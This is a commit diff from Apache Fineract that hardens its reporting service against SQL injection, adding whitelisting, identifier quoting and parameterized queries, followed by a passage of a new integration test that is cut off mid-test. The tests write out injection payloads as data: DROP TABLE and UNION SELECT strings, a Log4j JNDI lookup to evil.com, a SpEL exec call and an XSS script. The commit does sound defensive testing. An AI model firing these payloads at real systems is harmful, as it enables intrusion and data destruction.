FINERACT-2081: ESAPI.encoder().encodeForSQL is deprecated, so replaced the method with parameterized queries based solution with user input validation

This commit is contained in:
Attila Budai
2025-09-01 13:41:49 +02:00
committed by Adam Saghy
parent 917dd4d117
commit 567e1c9800
7 changed files with 827 additions and 23 deletions
@@ -0,0 +1,88 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.dataqueries.domain;
import java.util.Arrays;
import java.util.Locale;
import java.util.Set;
import java.util.stream.Collectors;
/**
* Enumeration of valid report types for whitelist validation.
*
* This enum provides a secure whitelist of allowed report types to prevent SQL injection attacks in the reporting
* system. Only these predefined types are allowed in report queries.
*/
public enum ReportType {
/**
* Standard report type for retrieving report data
*/
REPORT("report"),
/**
* Parameter type for retrieving parameter definitions and possible values
*/
PARAMETER("parameter");
private final String value;
/**
* Cached set of all valid values for efficient validation
*/
private static final Set<String> VALID_VALUES = Arrays.stream(values()).map(ReportType::getValue).collect(Collectors.toSet());
ReportType(String value) {
this.value = value;
}
public String getValue() {
return value;
}
/**
* Validates if a given report type is in the whitelist.
*
* @param type
* the report type to validate
* @return true if the type is valid, false otherwise
*/
public static boolean isValidType(String type) {
return type != null && !type.trim().isEmpty() && VALID_VALUES.contains(type.toLowerCase(Locale.ROOT));
}
/**
* Gets the ReportType enum value for a given string.
*
* @param type
* the report type string
* @return the corresponding ReportType enum value
* @throws IllegalArgumentException
* if the type is not valid
*/
public static ReportType fromValue(String type) {
if (type == null) {
throw new IllegalArgumentException("Report type cannot be null");
}
String lowerType = type.toLowerCase(Locale.ROOT);
return Arrays.stream(values()).filter(rt -> rt.getValue().equals(lowerType)).findFirst()
.orElseThrow(() -> new IllegalArgumentException("Invalid report type: " + type));
}
}
@@ -21,4 +21,29 @@ package org.apache.fineract.infrastructure.security.service;
public interface SqlInjectionPreventerService {
String encodeSql(String literal);
/**
* Validates and quotes a database identifier (table name, column name) using database-specific quoting rules. This
* method ensures that identifiers are safely quoted to prevent SQL injection attacks.
*
* @param identifier
* the database identifier to quote
* @param allowedValues
* optional set of allowed values for whitelist validation
* @return the properly quoted identifier safe for use in SQL queries
* @throws IllegalArgumentException
* if the identifier is invalid or not in the whitelist (if provided)
*/
String quoteIdentifier(String identifier, java.util.Set<String> allowedValues);
/**
* Validates and quotes a database identifier without whitelist validation.
*
* @param identifier
* the database identifier to quote
* @return the properly quoted identifier safe for use in SQL queries
* @throws IllegalArgumentException
* if the identifier is null or empty
*/
String quoteIdentifier(String identifier);
}
@@ -34,6 +34,7 @@ import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.datasource.DataSourceUtils;
@@ -59,16 +60,19 @@ public class ColumnValidator {
ResultSet resultSet = dbMetaData.getColumns(null, null, entry.getKey(), null);
Set<String> tableColumns = getTableColumns(resultSet);
if (!columns.isEmpty() && tableColumns.isEmpty()) {
throw new SQLInjectionException();
throw new PlatformApiDataValidationException("error.msg.invalid.table.column", "Invalid table or column name detected",
entry.getKey(), columns);
}
for (String requestedColumn : columns) {
if (!tableColumns.contains(requestedColumn)) {
throw new SQLInjectionException();
throw new PlatformApiDataValidationException("error.msg.invalid.table.column", "Invalid table column name detected",
entry.getKey(), requestedColumn);
}
}
}
} catch (SQLException e) {
throw new SQLInjectionException(e);
throw new PlatformApiDataValidationException("error.msg.database.access.error",
"Database access error during column validation", e.getMessage(), e);
} finally {
if (connection != null) {
DataSourceUtils.releaseConnection(connection, jdbcTemplate.getDataSource());
@@ -120,7 +124,8 @@ public class ColumnValidator {
Set<String> columns = entry.getValue();
tableColumnMap.put(schema.substring(startPos, index).trim(), columns);
} else {
throw new SQLInjectionException();
throw new PlatformApiDataValidationException("error.msg.invalid.table.alias", "Invalid table alias in SQL query",
entry.getKey());
}
}
@@ -142,7 +147,8 @@ public class ColumnValidator {
tableColumnMap.put(tableColumn[0], columns);
}
} else {
throw new SQLInjectionException();
throw new PlatformApiDataValidationException("error.msg.invalid.table.column.format",
"Invalid table.column format in operand", operand);
}
}
return tableColumnMap;
@@ -39,6 +39,7 @@ import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.core.Response;
import jakarta.ws.rs.core.UriInfo;
import lombok.RequiredArgsConstructor;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
import org.apache.fineract.infrastructure.core.exception.PlatformServiceUnavailableException;
import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
@@ -73,6 +74,8 @@ public class RunreportsApiResource {
public Response retrieveAllAvailableExports(@PathParam("reportName") @Parameter(description = "reportName") final String reportName,
@Context final UriInfo uriInfo,
@DefaultValue("false") @QueryParam(IS_SELF_SERVICE_USER_REPORT_PARAMETER) @Parameter(description = IS_SELF_SERVICE_USER_REPORT_PARAMETER) final boolean isSelfServiceUserReport) {
validateReportName(reportName);
MultivaluedMap<String, String> queryParams = new MultivaluedStringMap();
queryParams.putAll(uriInfo.getQueryParameters());
@@ -114,6 +117,8 @@ public class RunreportsApiResource {
@Context final UriInfo uriInfo,
@DefaultValue("false") @QueryParam(IS_SELF_SERVICE_USER_REPORT_PARAMETER) @Parameter(description = IS_SELF_SERVICE_USER_REPORT_PARAMETER) final boolean isSelfServiceUserReport) {
validateReportName(reportName);
MultivaluedMap<String, String> queryParams = new MultivaluedStringMap();
queryParams.putAll(uriInfo.getQueryParameters());
@@ -143,4 +148,30 @@ public class RunreportsApiResource {
}
}
}
/**
* Validates report name to prevent SQL injection attacks.
*
* @param reportName
* the report name to validate
* @throws IllegalArgumentException
* if the report name is invalid
*/
private void validateReportName(String reportName) {
if (StringUtils.isBlank(reportName)) {
throw new IllegalArgumentException("Report name cannot be null or empty");
}
// Basic length validation
if (reportName.length() > 100) {
throw new IllegalArgumentException("Report name exceeds maximum length of 100 characters");
}
// Check for potentially dangerous characters
// Allow letters, numbers, spaces, hyphens, underscores, and parentheses which are common in report names
if (!reportName.matches("^[a-zA-Z0-9\\s\\-_()%&.]+$")) {
throw new IllegalArgumentException(
"Report name contains invalid characters. Only letters, numbers, spaces, hyphens, underscores, parentheses, percent, ampersand, and dots are allowed");
}
}
}
@@ -30,6 +30,8 @@ import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
@@ -53,13 +55,12 @@ import org.apache.fineract.infrastructure.dataqueries.data.ReportParameterData;
import org.apache.fineract.infrastructure.dataqueries.data.ReportParameterJoinData;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetRowData;
import org.apache.fineract.infrastructure.dataqueries.domain.ReportType;
import org.apache.fineract.infrastructure.dataqueries.exception.ReportNotFoundException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.infrastructure.security.utils.LogParameterEscapeUtil;
import org.apache.fineract.useradministration.domain.AppUser;
import org.owasp.esapi.ESAPI;
import org.owasp.esapi.codecs.UnixCodec;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.support.rowset.SqlRowSet;
@@ -154,21 +155,58 @@ public class ReadReportingServiceImpl implements ReadReportingService {
}
private String getSql(final String name, final String type) {
final String encodedName = sqlInjectionPreventerService.encodeSql(name);
final String encodedType = sqlInjectionPreventerService.encodeSql(type);
if (name == null || type == null) {
throw new IllegalArgumentException("Report name and type cannot be null");
}
final String inputSql = "select " + encodedType + "_sql as the_sql from stretchy_" + encodedType + " where " + encodedType
+ "_name = ?";
// Validate report type against whitelist - this prevents SQL injection in table names
if (!ReportType.isValidType(type)) {
throw new IllegalArgumentException("Invalid report type provided");
}
final ReportType reportType = ReportType.fromValue(type);
final String quotedTableName = getQuotedTableName(reportType);
final String quotedColumnSqlName = getQuotedColumnName(reportType, "_sql");
final String quotedColumnNameName = getQuotedColumnName(reportType, "_name");
// Use parameterized query with validated and quoted identifiers to prevent SQL injection
final String inputSql = "SELECT " + quotedColumnSqlName + " AS the_sql FROM " + quotedTableName + " WHERE " + quotedColumnNameName
+ " = ?";
final String inputSqlWrapped = this.genericDataService.wrapSQL(inputSql);
// the return statement contains the exact sql required
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(inputSqlWrapped, encodedName);
// Use parameterized query - name parameter is safely handled by JDBC
final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(inputSqlWrapped, name);
if (rs.next() && rs.getString("the_sql") != null) {
return rs.getString("the_sql");
}
throw new ReportNotFoundException(encodedName);
throw new ReportNotFoundException(name);
}
/**
* Gets the properly quoted table name for the given report type. This method ensures SQL injection prevention by
* using only validated enum values.
*/
private String getQuotedTableName(ReportType reportType) {
String tableName = "stretchy_" + reportType.getValue();
return sqlInjectionPreventerService.quoteIdentifier(tableName);
}
/**
* Gets the properly quoted column name by combining the report type prefix with a suffix. This method ensures SQL
* injection prevention by using only validated enum values and safely constructing the full column name before
* quoting.
*
* @param reportType
* the validated report type
* @param suffix
* the column name suffix (e.g., "_sql", "_name")
* @return the properly quoted full column name
*/
private String getQuotedColumnName(ReportType reportType, String suffix) {
String fullColumnName = reportType.getValue() + suffix;
return sqlInjectionPreventerService.quoteIdentifier(fullColumnName);
}
@Override
@@ -212,8 +250,15 @@ public class ReadReportingServiceImpl implements ReadReportingService {
final Document document = new Document(PageSize.B0.rotate());
String validatedFileName = ESAPI.encoder().encodeForOS(new UnixCodec(), reportName);
PdfWriter.getInstance(document, new FileOutputStream(fileLocation + validatedFileName + ".pdf"));
// Validate filename characters and use Path.of() for safe handling
if (!reportName.matches("^[a-zA-Z0-9_.-]+$")) {
throw new IllegalArgumentException("Invalid report name format");
}
Path validatedPath = Paths.get(fileLocation, reportName + ".pdf").normalize();
if (!validatedPath.startsWith(Paths.get(fileLocation))) {
throw new IllegalArgumentException("Path traversal attempt detected");
}
PdfWriter.getInstance(document, new FileOutputStream(validatedPath.toString()));
document.open();
final PdfPTable table = new PdfPTable(chSize);
@@ -19,19 +19,16 @@
package org.apache.fineract.infrastructure.security.service;
import java.sql.SQLException;
import java.util.Set;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
import org.apache.fineract.infrastructure.security.exception.EscapeSqlLiteralException;
import org.owasp.esapi.ESAPI;
import org.owasp.esapi.codecs.Codec;
import org.owasp.esapi.codecs.MySQLCodec;
import org.postgresql.core.Utils;
import org.springframework.stereotype.Service;
@Service
public class SqlInjectionPreventerServiceImpl implements SqlInjectionPreventerService {
private static final Codec<?> MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
private final DatabaseTypeResolver databaseTypeResolver;
public SqlInjectionPreventerServiceImpl(DatabaseTypeResolver databaseTypeResolver) {
@@ -40,16 +37,113 @@ public class SqlInjectionPreventerServiceImpl implements SqlInjectionPreventerSe
@Override
public String encodeSql(String literal) {
if (literal == null) {
return "NULL";
}
if (databaseTypeResolver.isMySQL()) {
return ESAPI.encoder().encodeForSQL(MYSQL_CODEC, literal);
return escapeMySQLLiteral(literal);
} else if (databaseTypeResolver.isPostgreSQL()) {
try {
return Utils.escapeLiteral(null, literal, true).toString();
} catch (SQLException e) {
throw new EscapeSqlLiteralException("Failed to escape an SQL literal. literal: " + literal, e);
throw new EscapeSqlLiteralException("Failed to escape SQL literal", e);
}
} else {
// For unknown database types, return the input unchanged
// This maintains backward compatibility while still providing basic protection for known types
return literal;
}
}
/**
* Escapes a string literal for MySQL/MariaDB using native MySQL standard escaping rules. This method replaces the
* vulnerable ESAPI SQL encoding to address CVE-2025-5878.
*
* According to MySQL documentation, the following characters need to be escaped: - Single quote (') -> \' - Double
* quote (") -> \" - Backslash (\) -> \\ - Null byte (\0) -> \\0 - Newline (\n) -> \\n - Carriage return (\r) -> \\r
* - Tab (\t) -> \\t - ASCII 26 (Ctrl+Z) -> \\Z
*
* @param literal
* the string literal to escape
* @return the escaped string literal safe for MySQL/MariaDB SQL queries
*/
private String escapeMySQLLiteral(String literal) {
StringBuilder escaped = new StringBuilder(literal.length() * 2);
for (int i = 0; i < literal.length(); i++) {
char c = literal.charAt(i);
switch (c) {
case '\0': // Null byte
escaped.append("\\0");
break;
case '\'':
escaped.append("\\'");
break;
case '\"':
escaped.append("\\\"");
break;
case '\\':
escaped.append("\\\\");
break;
case '\n':
escaped.append("\\n");
break;
case '\r':
escaped.append("\\r");
break;
case '\t':
escaped.append("\\t");
break;
case '\032':
escaped.append("\\Z");
break;
default:
escaped.append(c);
break;
}
}
return escaped.toString();
}
@Override
public String quoteIdentifier(String identifier, Set<String> allowedValues) {
if (StringUtils.isBlank(identifier)) {
throw new IllegalArgumentException("Identifier cannot be null or empty");
}
// Whitelist validation if provided
if (allowedValues != null && !allowedValues.contains(identifier.toLowerCase())) {
throw new IllegalArgumentException("Identifier not in whitelist: " + identifier);
}
return quoteIdentifier(identifier);
}
@Override
public String quoteIdentifier(String identifier) {
if (StringUtils.isBlank(identifier)) {
throw new IllegalArgumentException("Identifier cannot be null or empty");
}
// Validate identifier contains only safe characters (alphanumeric and underscore)
if (!identifier.matches("^[a-zA-Z_][a-zA-Z0-9_]*$")) {
throw new IllegalArgumentException("Invalid identifier format: " + identifier);
}
if (databaseTypeResolver.isMySQL()) {
// MySQL/MariaDB uses backticks for identifier quoting
return "`" + identifier.replace("`", "``") + "`";
} else if (databaseTypeResolver.isPostgreSQL()) {
// PostgreSQL uses double quotes for identifier quoting
return "\"" + identifier.replace("\"", "\"\"") + "\"";
} else {
// For unknown database types, return identifier as-is if it passes validation
// This maintains backward compatibility while still providing basic protection
return identifier;
}
}
}
@@ -0,0 +1,515 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.integrationtests;
import static io.restassured.RestAssured.given;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.builder.RequestSpecBuilder;
import io.restassured.builder.ResponseSpecBuilder;
import io.restassured.http.ContentType;
import io.restassured.response.Response;
import io.restassured.specification.RequestSpecification;
import io.restassured.specification.ResponseSpecification;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.integrationtests.common.Utils;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.CsvSource;
import org.junit.jupiter.params.provider.ValueSource;
/**
* Comprehensive integration tests for SQL injection prevention in reporting functionality (PS-2667).
*
* Tests the migration from ESAPI to native database escaping and validates that CVE-2025-5878 is fixed. Covers
* ReadReportingServiceImpl security measures through actual API endpoints.
*
* @see ReadReportingServiceImpl
* @see SqlInjectionPreventerService
*/
@Slf4j
public class SqlInjectionReportingServiceIntegrationTest extends BaseLoanIntegrationTest {
private RequestSpecification requestSpec;
private ResponseSpecification responseSpec;
private Long testReportId = null;
private static final String TEST_REPORT_NAME = "SQL_Injection_Test_Report";
private static final String TEST_REPORT_SQL = "SELECT 1 as test_column, 'Test Data' as test_name";
@BeforeEach
public void setup() {
Utils.initializeRESTAssured();
this.requestSpec = new RequestSpecBuilder().setContentType(ContentType.JSON).build();
this.requestSpec.header("Authorization", "Basic " + Utils.loginIntoServerAndGetBase64EncodedAuthenticationKey());
this.requestSpec.header("Fineract-Platform-TenantId", "default");
this.responseSpec = new ResponseSpecBuilder().expectStatusCode(200).build();
// Create test report for the tests
createTestReportIfNotExists();
}
@AfterEach
public void cleanup() {
// Clean up test report after tests
if (testReportId != null) {
try {
deleteTestReport();
} catch (Exception e) {
log.warn("Failed to clean up test report: " + e.getMessage());
}
}
}
private void createTestReportIfNotExists() {
try {
// First try to get the report to see if it exists - use direct RestAssured call to handle 404
Response response = given().spec(requestSpec).when().get("/fineract-provider/api/v1/reports");
if (response.getStatusCode() == 200) {
String existingReports = response.asString();
if (existingReports.contains("\"reportName\":\"" + TEST_REPORT_NAME + "\"")) {
log.info("Test report '{}' already exists", TEST_REPORT_NAME);
// Extract the ID for cleanup
try {
String pattern = "\"id\":(\\d+)[^}]*\"reportName\":\"" + TEST_REPORT_NAME + "\"";
java.util.regex.Pattern p = java.util.regex.Pattern.compile(pattern);
java.util.regex.Matcher m = p.matcher(existingReports);
if (m.find()) {
testReportId = Long.parseLong(m.group(1));
log.info("Found existing test report with ID: {}", testReportId);
}
} catch (Exception ex) {
log.debug("Could not extract existing report ID");
}
return;
}
} else if (response.getStatusCode() == 404) {
log.debug("Reports endpoint returned 404 (no reports exist yet), will create report");
} else {
log.debug("Reports endpoint returned unexpected status: {}, will try to create report", response.getStatusCode());
}
} catch (Exception e) {
log.debug("Report list fetch failed, will try to create report: {}", e.getMessage());
}
// Create the test report
String reportJson = "{" + "\"reportName\": \"" + TEST_REPORT_NAME + "\"," + "\"reportType\": \"Table\","
+ "\"reportCategory\": \"Client\"," + "\"reportSql\": \"" + TEST_REPORT_SQL + "\","
+ "\"description\": \"Test report for SQL injection prevention tests\"," + "\"useReport\": true" + "}";
try {
// Use direct RestAssured call to handle different response codes
Response postResponse = given().spec(requestSpec).contentType(ContentType.JSON).body(reportJson).when()
.post("/fineract-provider/api/v1/reports");
if (postResponse.getStatusCode() == 200 || postResponse.getStatusCode() == 201) {
String response = postResponse.asString();
// Extract report ID from response for cleanup
if (response.contains("resourceId")) {
String idStr = response.replaceAll(".*\"resourceId\":(\\d+).*", "$1");
testReportId = Long.parseLong(idStr);
log.info("Created test report with ID: {}", testReportId);
} else {
throw new RuntimeException("Test report creation failed - no resourceId in response: " + response);
}
} else {
String errorResponse = postResponse.asString();
log.error("Report creation failed - Status: {}, Body: {}, Headers: {}", postResponse.getStatusCode(), errorResponse,
postResponse.getHeaders());
log.error("Sent JSON: {}", reportJson);
throw new RuntimeException(
"Test report creation failed with status " + postResponse.getStatusCode() + ": " + errorResponse);
}
} catch (Exception e) {
// This is a critical failure - tests cannot proceed without the test report
throw new RuntimeException(
"CRITICAL: Could not create test report '" + TEST_REPORT_NAME + "'. Tests cannot proceed. Error: " + e.getMessage(), e);
}
}
private void deleteTestReport() {
if (testReportId != null) {
try {
Utils.performServerDelete(requestSpec, responseSpec, "/fineract-provider/api/v1/reports/" + testReportId, "");
log.info("Deleted test report with ID: {}", testReportId);
} catch (Exception e) {
log.warn("Failed to delete test report: " + e.getMessage());
}
}
}
/**
* UC1: Test legitimate report execution works correctly Validates that the SQL injection prevention doesn't break
* normal functionality
*/
@Test
void uc1_testLegitimateReportExecution() {
log.info("Testing that legitimate reports still work after SQL injection prevention");
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
// Test with the test report we created in setup - this MUST succeed
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams), null);
assertNotNull(response);
assertNotEquals("", response.trim());
// Debug: Log actual response to understand structure
log.info("Response from report execution: {}", response);
// Verify response is valid JSON structure
assertTrue(response.contains("columnHeaders") || response.contains("data") || response.contains("test_column"),
"Response should contain expected JSON structure, but got: " + response);
}
/**
* UC2: Test parameter injection through query parameters Validates that malicious content in query parameters is
* also properly handled
*/
@Test
void uc2_testParameterInjectionPrevention() {
log.info("Testing parameter injection prevention through query parameters");
Map<String, String> maliciousParams = new HashMap<>();
maliciousParams.put("R_officeId", "1'; DROP TABLE m_office; --");
maliciousParams.put("R_startDate", "2023-01-01' UNION SELECT * FROM m_appuser --");
maliciousParams.put("R_endDate", "2023-12-31'); DELETE FROM stretchy_report; --");
// Test with legitimate report name but malicious parameters
// This should either succeed with empty/safe results or fail with validation error
// but NOT with SQL syntax errors
try {
String response = Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(maliciousParams), null);
// If we get here, the SQL injection was prevented and handled safely
log.info("SQL injection prevented - query executed safely with malicious parameters");
} catch (AssertionError exception) {
// The response should indicate parameter validation error or safe handling
// NOT SQL syntax errors which would indicate successful injection
assertFalse(exception.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error, got: " + exception.getMessage());
assertFalse(exception.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error, got: " + exception.getMessage());
// Should be a validation error, not a 404
assertFalse(exception.getMessage().contains("404"), "Should not get 404 - report should exist. Got: " + exception.getMessage());
log.info("Got expected validation error: {}", exception.getMessage());
}
}
/**
* UC3: Test type validation whitelist - only 'report' and 'parameter' types should be allowed This validates the
* whitelist implementation for report types
*/
@ParameterizedTest(name = "Report Type Validation: {0}")
@ValueSource(strings = { "report", "parameter" })
void uc3_testValidReportTypes(String validType) {
log.info("Testing valid report type: {}", validType);
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
// Test that valid report types work through the API
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/runreports/TestReport?reportType=" + validType + "&genericResultSet=false&" + toQueryString(queryParams), null);
// Should get a proper response or 404 (report not found), not validation error
} catch (AssertionError e) {
// For valid types, we expect 404 (report not found), not validation errors
assertTrue(e.getMessage().contains("404"));
}
}
/**
* UC4: Test invalid report types that should be rejected by whitelist
*/
@ParameterizedTest(name = "Invalid Report Type: {0}")
@ValueSource(strings = { "table", "view", "procedure", "function", "schema", "database", "admin", "user", "system", "config" })
void uc4_testInvalidReportTypes(String invalidType) {
log.info("Testing invalid report type: {}", invalidType);
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
// These should be rejected and result in 404 (report not found) or validation error
AssertionError exception = assertThrows(AssertionError.class, () -> {
Utils.performServerGet(requestSpec, responseSpec,
"/runreports/TestReport?reportType=" + invalidType + "&genericResultSet=false&" + toQueryString(queryParams), null);
});
// Should get 404 or validation error, not SQL execution error
assertTrue(exception.getMessage().contains("404") || exception.getMessage().contains("validation"));
assertFalse(exception.getMessage().toLowerCase().contains("sql syntax"));
}
/**
* UC5: Test database-specific escaping through API behavior for MySQL/MariaDB
*/
@Test
void uc5_testMySQLEscapingThroughAPI() {
log.info("Testing MySQL/MariaDB escaping behavior through API");
// Test MySQL special characters in parameters
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1' OR '1'='1");
queryParams.put("R_clientId", "1; DROP TABLE m_client;");
queryParams.put("R_startDate", "2023-01-01\\' OR 1=1 --");
// Use the real test report to ensure SQL injection prevention works with actual queries
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams),
null);
// If successful, the special characters were safely escaped
assertNotNull(response);
log.info("MySQL/MariaDB special characters safely escaped");
} catch (AssertionError e) {
// Should not get SQL syntax errors - only validation errors
assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error for MySQL escaping test. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error. Got: " + e.getMessage());
log.info("MySQL/MariaDB escaping prevented SQL injection with validation error");
}
}
/**
* UC6: Test database-specific escaping through API for PostgreSQL
*/
@Test
void uc6_testPostgreSQLEscapingThroughAPI() {
log.info("Testing PostgreSQL escaping behavior through API");
// Test PostgreSQL-specific SQL injection patterns
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1'::text OR '1'='1");
queryParams.put("R_clientId", "1; DROP TABLE m_client CASCADE;");
queryParams.put("R_startDate", "2023-01-01'::date OR TRUE --");
queryParams.put("R_endDate", "$$; DROP TABLE m_client; $$");
// Use the real test report to ensure SQL injection prevention works
try {
String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams),
null);
// If successful, the PostgreSQL special syntax was safely escaped
assertNotNull(response);
log.info("PostgreSQL special characters and syntax safely escaped");
} catch (AssertionError e) {
// Should not get SQL syntax errors - only validation errors
assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error for PostgreSQL escaping test. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("error") && e.getMessage().toLowerCase().contains("position"),
"Should not get PostgreSQL position error. Got: " + e.getMessage());
log.info("PostgreSQL escaping prevented SQL injection with validation error");
}
}
/**
* UC7: Test concurrent access to ensure thread safety through API
*/
@Test
void uc7_testConcurrentAccess() throws InterruptedException, ExecutionException {
log.info("Testing concurrent access to SQL injection prevention through API");
int threadCount = 5;
int operationsPerThread = 3;
ExecutorService executor = Executors.newFixedThreadPool(threadCount);
List<Future<Boolean>> futures = new java.util.ArrayList<>();
for (int i = 0; i < threadCount; i++) {
final int threadId = i;
Future<Boolean> future = executor.submit(new Callable<Boolean>() {
@Override
public Boolean call() {
try {
for (int j = 0; j < operationsPerThread; j++) {
String input = "test-input-" + threadId + "-" + j;
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + URLEncoder.encode(input, StandardCharsets.UTF_8)
+ "?genericResultSet=false&" + toQueryString(queryParams),
null);
}
return true;
} catch (AssertionError e) {
// 404 is expected for non-existent reports
return e.getMessage().contains("404");
} catch (Exception e) {
log.error("Error in thread {}: {}", threadId, e.getMessage());
return false;
}
}
});
futures.add(future);
}
executor.shutdown();
assertTrue(executor.awaitTermination(60, TimeUnit.SECONDS), "All threads should complete within 60 seconds");
for (Future<Boolean> future : futures) {
assertTrue(future.get(), "All concurrent operations should succeed or return 404");
}
log.info("Concurrent access test completed successfully with {} threads and {} operations per thread", threadCount,
operationsPerThread);
}
/**
* UC8: Test report parameter injection with complex nested structures
*/
@Test
void uc8_testComplexParameterInjection() {
log.info("Testing complex parameter injection scenarios");
// Test various parameter injection patterns that were historically problematic
Map<String, String> maliciousParams = new HashMap<>();
maliciousParams.put("R_officeId", "1) UNION SELECT username,password FROM m_appuser WHERE id=1--");
maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}"); // Log4j style injection
maliciousParams.put("R_startDate", "'; DROP TABLE IF EXISTS test; --");
maliciousParams.put("R_endDate", "#{T(java.lang.Runtime).getRuntime().exec('whoami')}"); // SpEL injection
maliciousParams.put("R_userId", "<script>alert('xss')</script>"); // XSS attempt in parameter
try {
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(maliciousParams), null);
// If we get here without exception, the response should be safe
log.info("Complex parameter injection prevented - query executed safely");
} catch (AssertionError e) {
// Should get parameter validation error, not SQL injection
assertFalse(e.getMessage().toLowerCase().contains("syntax error"), "Should not get SQL syntax error. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("table") && e.getMessage().toLowerCase().contains("exist"),
"Should not get table exists error. Got: " + e.getMessage());
}
}
/**
* UC9: Test legitimate reports with various parameter types
*/
@ParameterizedTest(name = "Parameter Type: {0}")
@CsvSource(delimiterString = " | ", value = { "R_officeId | 1 | Numeric parameter", "R_startDate | 2023-01-01 | Date parameter",
"R_endDate | 2023-12-31 | Date parameter", "R_currencyId | USD | String parameter", "R_loanProductId | 1 | Numeric parameter" })
void uc9_testLegitimateParameterTypes(String paramName, String paramValue, String description) {
log.info("Testing legitimate parameter: {} = {} ({})", paramName, paramValue, description);
Map<String, String> queryParams = new HashMap<>();
queryParams.put(paramName, paramValue);
try {
